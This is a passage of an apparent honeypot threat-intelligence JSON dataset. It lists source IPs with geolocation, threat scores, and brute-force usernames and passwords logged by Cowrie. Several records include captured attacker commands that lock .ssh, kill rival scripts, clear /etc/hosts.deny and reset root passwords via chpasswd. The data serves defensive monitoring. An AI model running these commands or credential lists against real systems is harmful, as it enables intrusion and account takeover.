      "as_org": "Tamatiya EOOD",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T10:39:44.907000+00:00",
        "last_seen_30d": "2026-04-05T19:24:23.216000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Honeytrap": 4,
        "Cowrie": 2
      }
    },
    "78.138.168.46": {
      "attack_count": 2,
      "first_seen": "2026-04-17T02:57:44.048Z",
      "last_seen": "2026-04-17T02:59:44.055Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Al'met'yevsk",
      "asn": 28840,
      "as_org": "Pjsc tattelecom",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:57:44.048000+00:00",
        "last_seen_30d": "2026-04-17T03:09:46.781000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.130.132.107": {
      "attack_count": 2,
      "first_seen": "2026-04-25T08:02:13.824Z",
      "last_seen": "2026-04-25T08:02:44.201Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T08:02:13.824000+00:00",
        "last_seen_30d": "2026-04-25T08:03:48.379000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.217.140.31": {
      "attack_count": 2,
      "first_seen": "2026-04-20T18:00:19.307Z",
      "last_seen": "2026-04-20T18:00:19.635Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 90.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 369,
        "days_active_30d": 30,
        "ports_targeted_30d": 197,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:14:50+00:00",
        "last_seen_30d": "2026-04-30T21:37:06.800000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 195,
        "Honeytrap": 167,
        "Dionaea": 5,
        "Cowrie": 2
      }
    },
    "88.88.214.103": {
      "attack_count": 2,
      "first_seen": "2026-04-21T10:53:13.527Z",
      "last_seen": "2026-04-21T10:53:44.745Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Kleppest\u00f8",
      "asn": 2119,
      "as_org": "Telenor Norge AS",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T10:53:13.527000+00:00",
        "last_seen_30d": "2026-04-21T10:54:54.416000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.196.152.76": {
      "attack_count": 2,
      "first_seen": "2026-04-13T00:24:18.602Z",
      "last_seen": "2026-04-13T00:24:21.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 61.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.0,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T09:46:05+00:00",
        "last_seen_30d": "2026-04-26T20:21:19.711000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Honeytrap": 6,
        "Cowrie": 2,
        "Ciscoasa": 1
      }
    },
    "91.230.168.16": {
      "attack_count": 2,
      "first_seen": "2026-04-08T08:29:14.096Z",
      "last_seen": "2026-04-08T08:29:14.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 30,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T08:09:38.063000+00:00",
        "last_seen_30d": "2026-04-30T19:52:19.032000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Ciscoasa": 1,
        "Dionaea": 1
      }
    },
    "91.231.89.136": {
      "attack_count": 2,
      "first_seen": "2026-04-04T00:14:25.477Z",
      "last_seen": "2026-04-04T00:14:28.481Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 141,
        "days_active_30d": 30,
        "ports_targeted_30d": 44,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:28:08+00:00",
        "last_seen_30d": "2026-04-30T19:49:53.691000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 30,
        "Cowrie": 2,
        "Ciscoasa": 1
      }
    },
    "95.167.225.76": {
      "attack_count": 2,
      "first_seen": "2026-04-02T22:46:16.187Z",
      "last_seen": "2026-04-02T22:48:16.191Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T22:46:16.187000+00:00",
        "last_seen_30d": "2026-04-02T22:58:19.222000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "179.43.139.58": {
      "attack_count": 1942,
      "first_seen": "2026-04-01T00:57:25.737Z",
      "last_seen": "2026-04-30T23:16:10.014Z",
      "sessions": 354,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "authority",
        "ddd",
        "ftp1",
        "admin"
      ],
      "passwords_attempted": [
        "or4cl3",
        "authority",
        "ddd",
        "ftp1",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "R\u00fcmlang",
      "asn": 51852,
      "as_org": "Private Layer INC",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2999,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:57:25.737000+00:00",
        "last_seen_30d": "2026-04-30T23:17:19.733000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1942,
        "Suricata": 1057
      }
    },
    "80.94.92.182": {
      "attack_count": 1437,
      "first_seen": "2026-04-04T06:17:08.632Z",
      "last_seen": "2026-04-21T12:55:33.046Z",
      "sessions": 287,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "root",
        "3d",
        "firedancer",
        "minima",
        "node",
        "opadmin",
        "operation",
        "ops",
        "ps",
        "psadmin",
        "raydium",
        "validator",
        "jibs"
      ],
      "passwords_attempted": [
        "qwer1234",
        "solana",
        "!@#$%^",
        "firedancer",
        "validator",
        "123",
        "1234",
        "123456",
        "12345678",
        "1234567890-=",
        "1234qwer",
        "1q2w3e4r",
        "1qq2w3e4r5t",
        "321",
        "3d",
        "ZXCVASDFQWER!@#$",
        "fuckoff",
        "fuckyou",
        "minima",
        "node"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 2166,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:10:37.536000+00:00",
        "last_seen_30d": "2026-04-21T12:56:37.010000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1437,
        "Suricata": 729
      }
    },
    "45.156.87.69": {
      "attack_count": 1260,
      "first_seen": "2026-04-30T04:31:13.076Z",
      "last_seen": "2026-04-30T04:50:18.041Z",
      "sessions": 252,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "user",
        "ftpuser",
        "odoo",
        "www",
        "admin",
        "alex",
        "deployer",
        "jenkins",
        "kafka",
        "app",
        "david",
        "debian",
        "dspace",
        "elasticsearch",
        "ftptest",
        "guest",
        "hadoop"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "12345678",
        "123",
        "1234",
        "P@ssw0rd",
        "admin",
        "p@ssw0rd",
        "1",
        "12345",
        "123root",
        "1qaz@WSX",
        "alex123",
        "debian",
        "home",
        "localhost",
        "q1w2e3r4",
        "0000",
        "00000000",
        "102030"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1770,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T04:30:13.505000+00:00",
        "last_seen_30d": "2026-04-30T04:51:21.469000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1260,
        "Suricata": 510
      }
    },
    "2.57.122.210": {
      "attack_count": 1023,
      "first_seen": "2026-04-01T13:35:46.652Z",
      "last_seen": "2026-04-03T02:30:06.317Z",
      "sessions": 205,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu",
        "solana",
        "root",
        "firedancer",
        "bot",
        "eigen",
        "eigenlayer",
        "evm",
        "minima",
        "node",
        "raydium",
        "sniper",
        "stake",
        "test",
        "testing123",
        "trader",
        "trading",
        "ubnt",
        "user"
      ],
      "passwords_attempted": [
        "validator",
        "1",
        "123456",
        "eigenlayer",
        "solana",
        "elayer",
        "firedancer",
        "stake",
        "12345678",
        "ubuntu",
        "!@#$%^",
        "!@#$qazwsxedc",
        "123",
        "12345",
        "1qaz!QAZ2wsx@WSX",
        "1qaz2wsx3edc",
        "1qq2w3e4r5t",
        "4rfv$RFV",
        "ZXCVASDFQWER2!@#$",
        "admin"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 1511,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:24:36.009000+00:00",
        "last_seen_30d": "2026-04-11T18:33:27.597000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1023,
        "Suricata": 488
      }
    },
    "124.109.2.211": {
      "attack_count": 667,
      "first_seen": "2026-04-11T14:53:35.699Z",
      "last_seen": "2026-04-22T04:56:32.804Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "user",
        "sammy",
        "test",
        "laura",
        "manager",
        "username",
        "xw",
        "admin1234",
        "ali",
        "ashok",
        "bayu",
        "claude",
        "deploy",
        "dev",
        "frappe",
        "fred",
        "gitlab-runner"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#QWE123",
        "000000",
        "1",
        "111",
        "123456",
        "13082025",
        "143143",
        "8888",
        "Admin2024@",
        "Ali19!",
        "Lf123456.",
        "P@sssw0rd03",
        "Qazwsx2025@123",
        "Qazwsx6666!!",
        "Qwert@1234",
        "Sammy!@#$",
        "Sammy04",
        "Sammy22!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\nTZQdyp843lUU\\nTZQdyp843lUU\\n\"|passwd",
        "echo \"laura\\nPY4Ogo1YJJET\\nPY4Ogo1YJJET\\n\"|passwd",
        "echo \"root:gdxlLupbbdvD\"|chpasswd|bash",
        "echo \"root:mLkiKe5eXDHB\"|chpasswd|bash",
        "echo \"username123\\nXChR6u5UnCsS\\nXChR6u5UnCsS\\n\"|passwd",
        "echo \"xw\\nJFQy7CebLdHP\\nJFQy7CebLdHP\\n\"|passwd",
        "echo -e \"123456\\nTZQdyp843lUU\\nTZQdyp843lUU\"|passwd|bash",
        "echo -e \"laura\\nPY4Ogo1YJJET\\nPY4Ogo1YJJET\"|passwd|bash",
        "echo -e \"username123\\nXChR6u5UnCsS\\nXChR6u5UnCsS\"|passwd|bash",
        "echo -e \"xw\\nJFQy7CebLdHP\\nJFQy7CebLdHP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45413,
      "as_org": "ServeNET Solution Limited Partnership",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.1,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 807,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T14:53:35.699000+00:00",
        "last_seen_30d": "2026-04-22T04:57:35.393000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 667,
        "Suricata": 140
      }
    },
    "182.253.156.173": {
      "attack_count": 666,
      "first_seen": "2026-04-06T18:51:58.412Z",
      "last_seen": "2026-04-21T23:57:24.504Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "deploy",
        "msf",
        "steam",
        "user",
        "admin",
        "amssys",
        "cvsuser",
        "ftpuser",
        "git",
        "hadi",
        "mk",
        "n8n",
        "odoo",
        "oracle",
        "paco",
        "root2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "123321",
        "1234",
        "12345.qwe",
        "123qwe!@#QWE",
        "132132",
        "2024@",
        "2233",
        "4321",
        "A123456\"1",
        "A123456a:",
        "Abcd@1234",
        "Admin1#$",
        "CCxx111",
        "Deneme123",
        "Dy123456",
        "P@55W0rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\n8cdpBs8TGaZM\\n8cdpBs8TGaZM\\n\"|passwd",
        "echo \"root:7HZ3VlnLSk2Y\"|chpasswd|bash",
        "echo \"root:CPPtEtsLRHF7\"|chpasswd|bash",
        "echo \"root:U9rf9NptoiQB\"|chpasswd|bash",
        "echo \"root:tksj7F4wQOZn\"|chpasswd|bash",
        "echo -e \"123456\\n8cdpBs8TGaZM\\n8cdpBs8TGaZM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "West Jakarta",
      "asn": 17451,
      "as_org": "BIZNET NETWORKS",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.2,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 841,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:51:58.412000+00:00",
        "last_seen_30d": "2026-04-22T00:00:38.463000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 666,
        "Suricata": 175
      }
    },
    "45.172.153.100": {
      "attack_count": 648,
      "first_seen": "2026-04-04T07:24:46.069Z",
      "last_seen": "2026-04-17T16:56:01.219Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "test",
        "ubuntu",
        "345gs5662d34",
        "ftpuser",
        "testadmin",
        "testing",
        "vpn",
        "admin",
        "bruce",
        "claude",
        "comp",
        "dev",
        "gittest",
        "light",
        "loginuser",
        "mcserver",
        "minecraft",
        "myadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "-conf",
        "1122334455",
        "12345",
        "123456",
        "123456a.",
        "123QWE123qwe",
        "123_ASDF",
        "1q2w3e4R",
        "1qazxsw2",
        "456789",
        "A1231239",
        "Admin@123456",
        "Az123123",
        "Change2025",
        "Claude02",
        "Default2025!",
        "Dev27",
        "Lapsus123$%"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:Ia0p1Kvqye8n\"|chpasswd|bash",
        "echo \"root:JLxcRAPPZmSK\"|chpasswd|bash",
        "echo \"root:Kdu3wacyvtoZ\"|chpasswd|bash",
        "echo \"test123\\nsx0Cp7lUE2sp\\nsx0Cp7lUE2sp\\n\"|passwd",
        "echo -e \"test123\\nsx0Cp7lUE2sp\\nsx0Cp7lUE2sp\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": null,
      "asn": 27847,
      "as_org": "TECNOLOGIA DIGITAL, S.A. DGTEC",
      "threat_score": 30.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.2,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 840,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:24:46.069000+00:00",
        "last_seen_30d": "2026-04-17T16:57:03.024000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 648,
        "Suricata": 192
      }
    },
    "201.217.67.183": {
      "attack_count": 594,
      "first_seen": "2026-04-10T22:35:37.424Z",
      "last_seen": "2026-04-15T08:34:46.936Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "steam",
        "user",
        "test",
        "deployer",
        "n8n",
        "nuxeo",
        "postgres",
        "ubuntu",
        "dev",
        "frappe",
        "hello",
        "nfsuser",
        "nina",
        "rke",
        "runner",
        "teamspeak",
        "test1",
        "tester"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ@WSX#EDC",
        "123123",
        "1234",
        "123456",
        "12356",
        "2026",
        "3edc4rfv@@",
        "A1234567090",
        "Aa.123456",
        "Abc654321",
        "DDbb1234",
        "N8n04!",
        "N8n12345",
        "P@ss$1234",
        "Passw0rd2026",
        "QQzz000",
        "QWERTY123@",
        "Qazwsx4321@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Steam08\\n5zUJCbsMNBPl\\n5zUJCbsMNBPl\\n\"|passwd",
        "echo \"nuxeo\\nMDg1srfZyhk4\\nMDg1srfZyhk4\\n\"|passwd",
        "echo \"root:UdDZsh8zsagE\"|chpasswd|bash",
        "echo \"test\\nnqqwWs4keebT\\nnqqwWs4keebT\\n\"|passwd",
        "echo \"user23\\nCjRohxJxGKW7\\nCjRohxJxGKW7\\n\"|passwd",
        "echo -e \"Steam08\\n5zUJCbsMNBPl\\n5zUJCbsMNBPl\"|passwd|bash",
        "echo -e \"nuxeo\\nMDg1srfZyhk4\\nMDg1srfZyhk4\"|passwd|bash",
        "echo -e \"test\\nnqqwWs4keebT\\nnqqwWs4keebT\"|passwd|bash",
        "echo -e \"user23\\nCjRohxJxGKW7\\nCjRohxJxGKW7\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Portoviejo",
      "asn": 14522,
      "as_org": "SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.6,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 731,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:35:37.424000+00:00",
        "last_seen_30d": "2026-04-15T08:35:52.710000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 594,
        "Suricata": 137
      }
    },
    "197.243.0.62": {
      "attack_count": 567,
      "first_seen": "2026-04-11T12:25:38.512Z",
      "last_seen": "2026-04-27T21:30:42.017Z",
      "sessions": 55,
